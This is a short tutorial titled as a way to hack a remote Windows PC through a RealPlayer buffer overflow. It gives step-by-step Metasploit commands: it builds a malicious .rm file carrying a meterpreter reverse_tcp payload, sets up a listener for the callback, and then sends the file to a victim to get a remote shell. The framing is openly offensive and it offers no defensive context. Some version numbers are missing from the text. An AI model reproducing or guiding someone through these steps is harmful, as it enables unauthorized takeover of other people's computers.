Hack Remote Windows PC using Real player RealMedia File Handling Buffer Overflow

This module exploits a stack based buffer overflow on RealPlayer <= The vulnerability exists in the handling of real media files, due to the insecure usage of the Get Private Profile String function to retrieve the URL property from an Internet Shortcut section. This module generates a malicious rm file which must be opened with RealPlayer via drag and drop or double click methods. It has been tested successfully on Windows XP SP3 with RealPlayer

Exploit Targets

Real Player


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole


Now type use exploit/windows/fileformat/real_player_url_property_bof

msf exploit (real_player_url_property_bof)>set payload windows/meterpreter/reverse_tcp

msf exploit (real_player_url_property_bof)>set lhost (IP of Local Host)

msf exploit (real_player_url_property_bof)>exploit

After we successfully generate the malicious rm File, it will stored on your local computer


Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost


Now send your msf.rm files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.

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